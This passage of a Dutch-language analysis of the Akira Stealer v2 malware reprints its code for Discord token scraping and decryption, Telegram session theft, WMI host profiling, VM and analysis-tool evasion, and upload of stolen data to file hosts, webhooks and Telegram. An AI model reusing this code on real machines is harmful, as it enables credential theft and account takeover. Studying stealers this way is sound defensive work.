weg—en vaak onherstelbaar.",[588,8428,8430],{"className":4495,"code":8429,"language":4497,"meta":594,"style":594},"# 1) ZIP everything (including Wallets folder)\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n# 2) Attempt upload to primary & fallback services\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n# 3) Report summary\nembed = {\n    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n    \"fields\": [\n        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n    ]\n}\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n# 4) Cleanup local folder & ZIP\nUtils.clear_client_folder()\n",[551,8431,8432,8437,8442,8447,8452,8457,8462,8467,8472,8477,8482,8487,8492,8497,8502,8506,8511,8516],{"__ignoreMap":594},[1681,8433,8434],{"class":1683,"line":1684},[1681,8435,8436],{},"# 1) ZIP everything (including Wallets folder)\n",[1681,8438,8439],{"class":1683,"line":2061},[1681,8440,8441],{},"zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n",[1681,8443,8444],{"class":1683,"line":2067},[1681,8445,8446],{},"# 2) Attempt upload to primary & fallback services\n",[1681,8448,8449],{"class":1683,"line":2073},[1681,8450,8451],{},"url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1681,8453,8454],{"class":1683,"line":2394},[1681,8455,8456],{},"# 3) Report summary\n",[1681,8458,8459],{"class":1683,"line":2400},[1681,8460,8461],{},"embed = {\n",[1681,8463,8464],{"class":1683,"line":3059},[1681,8465,8466],{},"    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n",[1681,8468,8469],{"class":1683,"line":3856},[1681,8470,8471],{},"    \"fields\": [\n",[1681,8473,8474],{"class":1683,"line":3862},[1681,8475,8476],{},"        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n",[1681,8478,8479],{"class":1683,"line":4109},[1681,8480,8481],{},"        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n",[1681,8483,8484],{"class":1683,"line":5033},[1681,8485,8486],{},"        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n",[1681,8488,8489],{"class":1683,"line":5039},[1681,8490,8491],{},"        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n",[1681,8493,8494],{"class":1683,"line":5045},[1681,8495,8496],{},"        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n",[1681,8498,8499],{"class":1683,"line":5051},[1681,8500,8501],{},"    ]\n",[1681,8503,8504],{"class":1683,"line":5057},[1681,8505,2403],{},[1681,8507,8508],{"class":1683,"line":5063},[1681,8509,8510],{},"Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n",[1681,8512,8513],{"class":1683,"line":5069},[1681,8514,8515],{},"# 4) Cleanup local folder & ZIP\n",[1681,8517,8518],{"class":1683,"line":5075},[1681,8519,7701],{},[715,8521,8523,8524,1113],{"id":8522},"_79-discord-en-telegram-tokendiefstal-class-discord","7.9. Discord- en Telegram-tokendiefstal (Class: ",[551,8525,1318],{},[533,8527,721],{},[533,8529,8530,8531,8533],{},"De ",[540,8532,1318],{},"-class van Akira Stealer v2 voert een sterk geparallelliseerd, meertraps proces uit om zowel Discord-autorisatietokens als Telegram-sessiedata te oogsten. Hieronder ontleden we elk component met precieze codereferenties en illustratieve voorbeelden.",[862,8535,8537],{"id":8536},"_791-initialisatie-path-enumeratie","7.9.1 Initialisatie & path-enumeratie",[533,8539,868],{},[533,8541,8542],{},"Bij instantiëring bouwt de constructor twee sets van target-paden:",[588,8544,8546],{"className":4495,"code":8545,"language":4497,"meta":594,"style":594},"# Discord client LevelDB directories\ndiscord_paths = [\n    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n    ...\n]\n\n# Chromium-based browser LevelDB directories\nbrowserPaths = [\n    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n    ...\n]\n",[551,8547,8548,8553,8558,8563,8568,8572,8576,8580,8585,8590,8595,8600,8604],{"__ignoreMap":594},[1681,8549,8550],{"class":1683,"line":1684},[1681,8551,8552],{},"# Discord client LevelDB directories\n",[1681,8554,8555],{"class":1683,"line":2061},[1681,8556,8557],{},"discord_paths = [\n",[1681,8559,8560],{"class":1683,"line":2067},[1681,8561,8562],{},"    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n",[1681,8564,8565],{"class":1683,"line":2073},[1681,8566,8567],{},"    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n",[1681,8569,8570],{"class":1683,"line":2394},[1681,8571,3843],{},[1681,8573,8574],{"class":1683,"line":2400},[1681,8575,7926],{},[1681,8577,8578],{"class":1683,"line":3059},[1681,8579,3853],{"emptyLinePlaceholder":325},[1681,8581,8582],{"class":1683,"line":3856},[1681,8583,8584],{},"# Chromium-based browser LevelDB directories\n",[1681,8586,8587],{"class":1683,"line":3862},[1681,8588,8589],{},"browserPaths = [\n",[1681,8591,8592],{"class":1683,"line":4109},[1681,8593,8594],{},"    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n",[1681,8596,8597],{"class":1683,"line":5033},[1681,8598,8599],{},"    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n",[1681,8601,8602],{"class":1683,"line":5039},[1681,8603,3843],{},[1681,8605,8606],{"class":1683,"line":5045},[1681,8607,7926],{},[604,8609,8610,8619],{},[607,8611,8612,8615,8616,697],{},[540,8613,8614],{},"Discord Paths"," richten zich op officiële en onofficiële Discord-clients onder ",[551,8617,8618],{},"%APPDATA%",[607,8620,8621,8624],{},[540,8622,8623],{},"Browser Paths"," dekken de user-datamappen van populaire browsers, inclusief submappen voor local storage en extensies.",[533,8626,8627],{},"Voor elke entry worden threads gespawned:",[588,8629,8631],{"className":4495,"code":8630,"language":4497,"meta":594,"style":594},"for patt in browserPaths:\n    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n    t.start()\nfor patt in discord_paths:\n    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n    t.start()\n",[551,8632,8633,8638,8643,8648,8653,8658],{"__ignoreMap":594},[1681,8634,8635],{"class":1683,"line":1684},[1681,8636,8637],{},"for patt in browserPaths:\n",[1681,8639,8640],{"class":1683,"line":2061},[1681,8641,8642],{},"    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n",[1681,8644,8645],{"class":1683,"line":2067},[1681,8646,8647],{},"    t.start()\n",[1681,8649,8650],{"class":1683,"line":2073},[1681,8651,8652],{},"for patt in discord_paths:\n",[1681,8654,8655],{"class":1683,"line":2394},[1681,8656,8657],{},"    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n",[1681,8659,8660],{"class":1683,"line":2400},[1681,8661,8647],{},[533,8663,8664],{},"Dit threadingmodel maximaliseert de I/O-doorvoer en peilt tientallen directories gelijktijdig.",[862,8666,8668],{"id":8667},"_792-logica-van-tokenextractie","7.9.2 Logica van tokenextractie",[533,8670,868],{},[533,8672,8673],{},[540,8674,8675],{},"Plaintext-tokenscraping uit browsers",[533,8677,8678,8681,8682,8685,8686,8689],{},[551,8679,8680],{},"get_btoken(path, arg)"," navigeert naar elke LevelDB-map en inspecteert ",[551,8683,8684],{},".log","- en ",[551,8687,8688],{},".ldb","-bestanden:",[588,8691,8693],{"className":4495,"code":8692,"language":4497,"meta":594,"style":594},"for file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n                tokens = re.findall(regex, line)\n                for token in tokens:\n                    self.tokens.append(token)\n                    self.cehckToken(token)\n",[551,8694,8695,8700,8705,8710,8715,8720,8725,8730],{"__ignoreMap":594},[1681,8696,8697],{"class":1683,"line":1684},[1681,8698,8699],{},"for file in os.listdir(path + arg):\n",[1681,8701,8702],{"class":1683,"line":2061},[1681,8703,8704],{},"    if file.endswith((\".log\", \".ldb\")):\n",[1681,8706,8707],{"class":1683,"line":2067},[1681,8708,8709],{},"        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n",[1681,8711,8712],{"class":1683,"line":2073},[1681,8713,8714],{},"            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n",[1681,8716,8717],{"class":1683,"line":2394},[1681,8718,8719],{},"                tokens = re.findall(regex, line)\n",[1681,8721,8722],{"class":1683,"line":2400},[1681,8723,8724],{},"                for token in tokens:\n",[1681,8726,8727],{"class":1683,"line":3059},[1681,8728,8729],{},"                    self.tokens.append(token)\n",[1681,8731,8732],{"class":1683,"line":3856},[1681,8733,8734],{},"                    self.cehckToken(token)\n",[604,8736,8737,8746,8754],{},[607,8738,8739,8745],{},[540,8740,8741,8742],{},"Regex ",[551,8743,8744],{},"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}"," matcht standaard Discord-tokens.",[607,8747,8748,8753],{},[540,8749,8741,8750],{},[551,8751,8752],{},"mfa\\.[\\w-]{80,95}"," vangt MFA-tokens op.",[607,8755,8756,8757,8760],{},"Deduplicatie is impliciet: tokens worden vóór validatie in ",[551,8758,8759],{},"self.tokens"," opgeslagen.",[533,8762,8763],{},[540,8764,8765],{},"Decryptie van versleutelde tokens in de Discord-client",[533,8767,8768,8769,8771,8772,8774,8775,8778],{},"De client van Discord versleutelt Local Storage-entries onder DPAPI, voorafgegaan door ",[551,8770,6504],{}," of ",[551,8773,6508],{},". ",[551,8776,8777],{},"get_discord(path, arg)"," handelt dit af:",[588,8780,8782],{"className":4495,"code":8781,"language":4497,"meta":594,"style":594},"# Read Local State to obtain encrypted master key\nwith open(path + \"/Local State\", 'r') as f:\n    local_state = json.load(f)\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\nmaster_key = self.CryptUnprotectData(encrypted_key)\n\n# Iterate LevelDB files for Base64 payloads\nfor file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\"):\n            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n                ciphertext = b64decode(token_part)\n                token = self.decrypt_value(ciphertext, master_key)\n                self.tokens.append(token)\n                self.cehckToken(token)\n",[551,8783,8784,8789,8794,8798,8803,8808,8812,8817,8821,8825,8830,8835,8840,8845,8850],{"__ignoreMap":594},[1681,8785,8786],{"class":1683,"line":1684},[1681,8787,8788],{},"# Read Local State to obtain encrypted master key\n",[1681,8790,8791],{"class":1683,"line":2061},[1681,8792,8793],{},"with open(path + \"/Local State\", 'r') as f:\n",[1681,8795,8796],{"class":1683,"line":2067},[1681,8797,7101],{},[1681,8799,8800],{"class":1683,"line":2073},[1681,8801,8802],{},"encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\n",[1681,8804,8805],{"class":1683,"line":2394},[1681,8806,8807],{},"master_key = self.CryptUnprotectData(encrypted_key)\n",[1681,8809,8810],{"class":1683,"line":2400},[1681,8811,3853],{"emptyLinePlaceholder":325},[1681,8813,8814],{"class":1683,"line":3059},[1681,8815,8816],{},"# Iterate LevelDB files for Base64 payloads\n",[1681,8818,8819],{"class":1683,"line":3856},[1681,8820,8699],{},[1681,8822,8823],{"class":1683,"line":3862},[1681,8824,8704],{},[1681,8826,8827],{"class":1683,"line":4109},[1681,8828,8829],{},"        for line in open(f\"{path}{arg}/{file}\"):\n",[1681,8831,8832],{"class":1683,"line":5033},[1681,8833,8834],{},"            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n",[1681,8836,8837],{"class":1683,"line":5039},[1681,8838,8839],{},"                ciphertext = b64decode(token_part)\n",[1681,8841,8842],{"class":1683,"line":5045},[1681,8843,8844],{},"                token = self.decrypt_value(ciphertext, master_key)\n",[1681,8846,8847],{"class":1683,"line":5051},[1681,8848,8849],{},"                self.tokens.append(token)\n",[1681,8851,8852],{"class":1683,"line":5057},[1681,8853,8854],{},"                self.cehckToken(token)\n",[604,8856,8857,8866],{},[607,8858,8859,8862,8863,8865],{},[540,8860,8861],{},"Master Key Recovery",": Verwijdert de 5-byte DPAPI-header en roept dan ",[551,8864,7167],{}," (een wrapper rond Windows DPAPI) aan om de AES-GCM-key te decrypten.",[607,8867,8868,8871,8872,8875,8876,8879,8880],{},[540,8869,8870],{},"Payload Parsing",": Tokens worden voorafgegaan door ",[551,8873,8874],{},"dQw4w9WgXcQ:"," (een door de aanvaller gekozen marker). Na Base64-decodering splitst ",[551,8877,8878],{},"decrypt_value()"," IV en ciphertext:",[588,8881,8883],{"className":4495,"code":8882,"language":4497,"meta":594,"style":594},"def decrypt\\_value(buff, master\\_key):\niv = buff\\[3:15]\npayload = buff\\[15:]\ncipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\nreturn cipher.decrypt(payload)\\[:-16].decode()\n",[551,8884,8885,8890,8895,8900,8905],{"__ignoreMap":594},[1681,8886,8887],{"class":1683,"line":1684},[1681,8888,8889],{},"def decrypt\\_value(buff, master\\_key):\n",[1681,8891,8892],{"class":1683,"line":2061},[1681,8893,8894],{},"iv = buff\\[3:15]\n",[1681,8896,8897],{"class":1683,"line":2067},[1681,8898,8899],{},"payload = buff\\[15:]\n",[1681,8901,8902],{"class":1683,"line":2073},[1681,8903,8904],{},"cipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\n",[1681,8906,8907],{"class":1683,"line":2394},[1681,8908,8909],{},"return cipher.decrypt(payload)\\[:-16].decode()\n",[862,8911,8913],{"id":8912},"_793-tokenvalidatie-exfiltratie","7.9.3 Tokenvalidatie & exfiltratie",[533,8915,868],{},[533,8917,8918],{},"Elk geëxtraheerd token wordt gevalideerd via een live API-call:",[588,8920,8923],{"className":8921,"code":8922,"language":593},[591],"headers = {\"Authorization\": token}\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\nif resp.status_code == 200:\n    self.cehckToken(token)\n",[551,8924,8922],{"__ignoreMap":594},[604,8926,8927],{},[607,8928,8929,8932,8933,8936,8937,8940,8941],{},[540,8930,8931],{},"Bij succes"," bepaalt ",[551,8934,8935],{},"cehckToken()"," of er via Telegram (",[551,8938,8939],{},"useTg=True",") of via Discord-webhook wordt verzonden:",[588,8942,8944],{"className":4495,"code":8943,"language":4497,"meta":594,"style":594},"if useTg:\nself.sendTokenTg(token)\nelse:\nself.send\\_embed(token)\n",[551,8945,8946,8951,8956,8961],{"__ignoreMap":594},[1681,8947,8948],{"class":1683,"line":1684},[1681,8949,8950],{},"if useTg:\n",[1681,8952,8953],{"class":1683,"line":2061},[1681,8954,8955],{},"self.sendTokenTg(token)\n",[1681,8957,8958],{"class":1683,"line":2067},[1681,8959,8960],{},"else:\n",[1681,8962,8963],{"class":1683,"line":2073},[1681,8964,8965],{},"self.send\\_embed(token)\n",[604,8967,8968],{},[607,8969,8970,8975],{},[540,8971,8972],{},[551,8973,8974],{},"send_embed"," stelt een rijke Discord-embed samen met gebruikersmetadata (username, discriminator, email, Nitro-status, billinginfo) op basis van velden uit",[588,8977,8980],{"className":8978,"code":8979,"language":593},[591],"user_json = requests.get(...).json()\nusername = user_json[\"username\"]\nid = user_json[\"id\"]\n# embed fields: token, email, phone, IP, flags, Nitro, billing\n",[551,8981,8979],{"__ignoreMap":594},[604,8983,8984],{},[607,8985,8986,8991],{},[540,8987,8988],{},[551,8989,8990],{},"sendTokenTg"," stuurt een plaintext-samenvatting via de Telegram-API.",[862,8993,8995],{"id":8994},"_794-oogsten-van-telegram-sessies","7.9.4 Oogsten van Telegram-sessies",[533,8997,868],{},[533,8999,9000],{},"Naast Discord-tokens grijpt de stealer Telegram Desktop-sessies:",[588,9002,9004],{"className":4495,"code":9003,"language":4497,"meta":594,"style":594},"@staticmethod\ndef steal_telegram():\n    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n    Utils.TaskKill(\"telegram.exe\")\n    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[551,9005,9006,9010,9015,9020,9025],{"__ignoreMap":594},[1681,9007,9008],{"class":1683,"line":1684},[1681,9009,4985],{},[1681,9011,9012],{"class":1683,"line":2061},[1681,9013,9014],{},"def steal_telegram():\n",[1681,9016,9017],{"class":1683,"line":2067},[1681,9018,9019],{},"    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n",[1681,9021,9022],{"class":1683,"line":2073},[1681,9023,9024],{},"    Utils.TaskKill(\"telegram.exe\")\n",[1681,9026,9027],{"class":1683,"line":2394},[1681,9028,9029],{},"    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[604,9031,9032,9038,9047],{},[607,9033,9034,9037],{},[540,9035,9036],{},"Procesbeëindiging",": Zorgt dat file locks worden vrijgegeven.",[607,9039,9040,9043,9044,9046],{},[540,9041,9042],{},"Recursieve kopie",": Steelt de ",[551,9045,8278],{},"-map, inclusief gebruikerssessies, contacten en gecachete berichten.",[607,9048,9049,9051,9052,9055],{},[540,9050,1334],{},": De gestolen map wordt gezipt en geüpload via ",[551,9053,9054],{},"sendFilesTG()",", met de downloadlink ingebed in een Telegram-bericht.",[533,9057,8530,9058,9060],{},[551,9059,1318],{},"-module van Akira Stealer combineert regex-gebaseerde scraping, DPAPI-ondersteunde AES-GCM-decryptie, live API-validatie en multiprotocol-exfiltratie (webhook + Telegram) om een naadloze account-takeover-capaciteit te leveren op zowel het Discord- als het Telegram-platform.",[715,9062,9064],{"id":9063},"_710-system-profiling","7.10 System profiling",[533,9066,721],{},[533,9068,9069,9070,9073],{},"Akira Stealer v2 bevat een uitgebreide fase van system profiling om hostmetadata, omgevingsattributen en netwerkdetails te verzamelen. Die informatie wordt gebundeld in de ",[551,9071,9072],{},"Data","-klasse en later samen met de buitgemaakte credentials verpakt. Hieronder ontleden we de profiling-logica met directe verwijzingen naar de code.",[862,9075,9077,9078,9080],{"id":9076},"_7101-initialisatie-van-de-data-klasse","7.10.1 Initialisatie van de ",[551,9079,9072],{},"-klasse",[533,9082,868],{},[533,9084,9085,9086,9088],{},"Bij het opstarten wordt een instantie van ",[551,9087,9072],{}," aangemaakt:",[588,9090,9092],{"className":4495,"code":9091,"language":4497,"meta":594,"style":594},"class Data:\n    def __init__(self):\n        self.username = os.getlogin()\n        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n        ...\n        self.ip = requests.get(url=\"https://api.ipify.org\").text\n        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n        self.country = ipdata.get(\"country\")\n        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[551,9093,9094,9099,9104,9109,9114,9119,9124,9129,9134,9139],{"__ignoreMap":594},[1681,9095,9096],{"class":1683,"line":1684},[1681,9097,9098],{},"class Data:\n",[1681,9100,9101],{"class":1683,"line":2061},[1681,9102,9103],{},"    def __init__(self):\n",[1681,9105,9106],{"class":1683,"line":2067},[1681,9107,9108],{},"        self.username = os.getlogin()\n",[1681,9110,9111],{"class":1683,"line":2073},[1681,9112,9113],{},"        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n",[1681,9115,9116],{"class":1683,"line":2394},[1681,9117,9118],{},"        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n",[1681,9120,9121],{"class":1683,"line":2400},[1681,9122,9123],{},"        ...\n",[1681,9125,9126],{"class":1683,"line":3059},[1681,9127,9128],{},"        self.ip = requests.get(url=\"https://api.ipify.org\").text\n",[1681,9130,9131],{"class":1683,"line":3856},[1681,9132,9133],{},"        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n",[1681,9135,9136],{"class":1683,"line":3862},[1681,9137,9138],{},"        self.country = ipdata.get(\"country\")\n",[1681,9140,9141],{"class":1683,"line":4109},[1681,9142,9143],{},"        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[604,9145,9146,9159],{},[607,9147,9148,9151,9152,9155,9156,697],{},[540,9149,9150],{},"Gebruikersnaam en hostname:"," opgehaald via ",[551,9153,9154],{},"os.getlogin()"," en de omgevingsvariabele ",[551,9157,9158],{},"COMPUTERNAME",[607,9160,9161,9164,9165,9168,9169,9171],{},[540,9162,9163],{},"IP-adres:"," opgehaald met ",[551,9166,9167],{},"requests.get(\"https://api.ipify.org\")"," en daarna via ",[551,9170,5331],{}," gegeolokaliseerd voor land en ISO-code.",[862,9173,9175],{"id":9174},"_7102-os-en-hardware-enumeratie","7.10.2 OS- en hardware-enumeratie",[533,9177,868],{},[533,9179,9180],{},"Met commando's van Windows Management Instrumentation (WMI):",[588,9182,9184],{"className":4495,"code":9183,"language":4497,"meta":594,"style":594},"# Operating System\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n# Total Physical Memory\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n# BIOS UUID\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\n# CPU Identifier\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n# GPU Name\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n# Windows Product Key\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[551,9185,9186,9191,9196,9201,9206,9211,9216,9221,9226,9231,9236,9241],{"__ignoreMap":594},[1681,9187,9188],{"class":1683,"line":1684},[1681,9189,9190],{},"# Operating System\n",[1681,9192,9193],{"class":1683,"line":2061},[1681,9194,9195],{},"self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n",[1681,9197,9198],{"class":1683,"line":2067},[1681,9199,9200],{},"# Total Physical Memory\n",[1681,9202,9203],{"class":1683,"line":2073},[1681,9204,9205],{},"self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n",[1681,9207,9208],{"class":1683,"line":2394},[1681,9209,9210],{},"# BIOS UUID\n",[1681,9212,9213],{"class":1683,"line":2400},[1681,9214,9215],{},"self.uuid = subprocess.run('wmic csproduct get uuid', ...)\n",[1681,9217,9218],{"class":1683,"line":3059},[1681,9219,9220],{},"# CPU Identifier\n",[1681,9222,9223],{"class":1683,"line":3856},[1681,9224,9225],{},"self.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n",[1681,9227,9228],{"class":1683,"line":3862},[1681,9229,9230],{},"# GPU Name\n",[1681,9232,9233],{"class":1683,"line":4109},[1681,9234,9235],{},"self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n",[1681,9237,9238],{"class":1683,"line":5033},[1681,9239,9240],{},"# Windows Product Key\n",[1681,9242,9243],{"class":1683,"line":5039},[1681,9244,9245],{},"self.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[533,9247,9248,9249,9252],{},"De resultaten worden omgezet naar leesbare strings (",[551,9250,9251],{},"strip()",", indexoperaties) en samengevoegd tot:",[588,9254,9256],{"className":4495,"code":9255,"language":4497,"meta":594,"style":594},"self.system_info = (\n    f\"Computer Name: {self.computerName}\\n\"\n    f\"Total Memory: {self.totalMemory}\\n\"\n    f\"CPU: {self.cpu}\\n\"\n    f\"GPU: {self.gpu}\\n\"\n    f\"Product Key: {self.productKey}\"\n)\n",[551,9257,9258,9263,9268,9273,9278,9283,9288],{"__ignoreMap":594},[1681,9259,9260],{"class":1683,"line":1684},[1681,9261,9262],{},"self.system_info = (\n",[1681,9264,9265],{"class":1683,"line":2061},[1681,9266,9267],{},"    f\"Computer Name: {self.computerName}\\n\"\n",[1681,9269,9270],{"class":1683,"line":2067},[1681,9271,9272],{},"    f\"Total Memory: {self.totalMemory}\\n\"\n",[1681,9274,9275],{"class":1683,"line":2073},[1681,9276,9277],{},"    f\"CPU: {self.cpu}\\n\"\n",[1681,9279,9280],{"class":1683,"line":2394},[1681,9281,9282],{},"    f\"GPU: {self.gpu}\\n\"\n",[1681,9284,9285],{"class":1683,"line":2400},[1681,9286,9287],{},"    f\"Product Key: {self.productKey}\"\n",[1681,9289,9290],{"class":1683,"line":3059},[1681,9291,5252],{},[862,9293,9295],{"id":9294},"_7103-vm-detectie-en-anti-sandbox-checks","7.10.3 VM-detectie en anti-sandbox-checks",[533,9297,868],{},[533,9299,9300,9301,9303],{},"Voordat de diepere profiling begint, roept de malware ",[551,9302,4669],{}," aan om virtualisatie- of analyseomgevingen te detecteren:",[588,9305,9307],{"className":4495,"code":9306,"language":4497,"meta":594,"style":594},"if VmProtect.isVM(1):\n    sys.exit()\n",[551,9308,9309,9314],{"__ignoreMap":594},[1681,9310,9311],{"class":1683,"line":1684},[1681,9312,9313],{},"if VmProtect.isVM(1):\n",[1681,9315,9316],{"class":1683,"line":2061},[1681,9317,9318],{},"    sys.exit()\n",[533,9320,9321],{},"De belangrijkste checks:",[604,9323,9324,9330,9336,9342],{},[607,9325,9326,9329],{},[540,9327,9328],{},"Registersleutels en driverdescriptors",": bevraagt registervermeldingen die met virtualisatie samenhangen.",[607,9331,9332,9335],{},[540,9333,9334],{},"UUID's en computernamen op de blacklist",": vergelijkt met bekende VM-fingerprints.",[607,9337,9338,9341],{},[540,9339,9340],{},"HTTP-simulatie",": probeert via HTTPS verbinding te maken met een niet-bestaand domein.",[607,9343,9344,9347,9348,620,9351,2183,9354,9357],{},[540,9345,9346],{},"Procesblacklist",": start een achtergrondthread die tools als ",[551,9349,9350],{},"wireshark",[551,9352,9353],{},"ollydbg",[551,9355,9356],{},"ida64"," afsluit.",[862,9359,9361],{"id":9360},"_7104-verpakken-en-verzenden","7.10.4 Verpakken en verzenden",[533,9363,868],{},[533,9365,9366,9367,9370],{},"De verzamelde ",[551,9368,9369],{},"system_info",", het IP-adres en de landenvlag worden opgenomen in de headers van de webhook-payload:",[588,9372,9374],{"className":4495,"code":9373,"language":4497,"meta":594,"style":594},"webhook_payload = {\n    \"embeds\": [{\n        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n        \"fields\": [...]\n    }]\n}\nrequests.post(self.webhook_url, json=webhook_payload)\n",[551,9375,9376,9381,9386,9391,9396,9401,9406,9410],{"__ignoreMap":594},[1681,9377,9378],{"class":1683,"line":1684},[1681,9379,9380],{},"webhook_payload = {\n",[1681,9382,9383],{"class":1683,"line":2061},[1681,9384,9385],{},"    \"embeds\": [{\n",[1681,9387,9388],{"class":1683,"line":2067},[1681,9389,9390],{},"        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n",[1681,9392,9393],{"class":1683,"line":2073},[1681,9394,9395],{},"        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n",[1681,9397,9398],{"class":1683,"line":2394},[1681,9399,9400],{},"        \"fields\": [...]\n",[1681,9402,9403],{"class":1683,"line":2400},[1681,9404,9405],{},"    }]\n",[1681,9407,9408],{"class":1683,"line":3059},[1681,9409,2403],{},[1681,9411,9412],{"class":1683,"line":3856},[1681,9413,9414],{},"requests.post(self.webhook_url, json=webhook_payload)\n",[604,9416,9417,9423],{},[607,9418,9419,9422],{},[540,9420,9421],{},"Vlag-emoji",": afgeleid van de ISO-landcode.",[607,9424,9425,9428],{},[540,9426,9427],{},"Fields",": bevatten aantallen gestolen wachtwoorden, cookies en dergelijke, terwijl de systeeminformatie in de beschrijving van de embed staat, zodat de context direct zichtbaar is.",[533,9430,9431,9434],{},[540,9432,9433],{},"Samenvatting:","\nSystem profiling in Akira Stealer v2 verzamelt uitgebreide host- en netwerkgegevens via WMI-commando's, omgevingsvariabelen en IP-geolocatie. Samen met de VM-detectie en de routines die analysetools afsluiten zorgt dit ervoor dat de aanvaller een volledig beeld heeft van de gecompromitteerde omgeving, wat gerichte vervolgacties mogelijk maakt en analysesandboxen eruit filtert.",[715,9436,9438,9439,1113],{"id":9437},"_711-file-grabber-klasse-utilssteal_files","7.11 File Grabber (klasse: ",[551,9440,9441],{},"Utils.steal_files",[533,9443,721],{},[533,9445,9446],{},"Naast browserdata en tokens probeert Akira ook waardevolle, door de gebruiker gemaakte content buit te maken, zoals documenten, spreadsheets, privénotities en bestanden met cryptografische sleutels. De File Grabber-module is daarvoor verantwoordelijk. Ze scant mappen met veel waardevolle inhoud op gangbare bestandstypen en patronen en voegt de vondsten stil toe aan de 